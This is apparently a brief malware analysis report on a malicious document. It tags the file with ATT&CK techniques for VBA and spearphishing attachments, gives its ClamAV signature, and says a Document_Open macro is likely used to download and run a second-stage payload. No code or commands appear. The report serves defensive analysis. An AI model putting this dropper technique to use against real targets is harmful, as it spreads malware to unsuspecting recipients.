T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is identified as malicious by ClamAV with the signature 'Doc.Dropper.Agent-6336277-0'. Static analysis revealed the presence of VBA macros within the document, specifically a 'Document_Open' macro. This macro is likely responsible for downloading and executing a secondary payload, a common technique for malware droppers. The document body content appears to be a narrative and does not directly contribute to the malicious functionality, suggesting the macro is the primary vector.
